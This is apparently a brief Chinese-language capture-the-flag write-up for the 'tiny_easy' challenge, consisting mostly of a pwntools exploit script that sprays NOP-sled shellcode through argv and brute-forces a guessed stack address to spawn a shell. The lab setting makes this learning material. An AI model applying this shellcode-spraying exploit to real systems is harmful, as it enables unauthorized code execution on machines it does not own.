很有趣的一道题目
借鉴了https://www.jianshu.com/p/9ec6b2c5f932的思路

```
from pwn import *

target_shellcode = asm(shellcraft.sh())
#target_shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc
payload = []
payload.append(p32(0xffb05544))
shellcode = '\x90'*8000
shellcode += target_shellcode

for  i in range(120):
    payload.append(shellcode)
for i in range(10000):
    try:
        io = process(argv=payload,executable='/home/tiny_easy/tiny_easy')
        #gdb.attach(io)
        io.sendline('ls')
        test = io.recvline()
        if test:
            io.interactive()
            break
    except (EOFError, pwnlib.exception.PwnlibException) as e:
        print(e)
```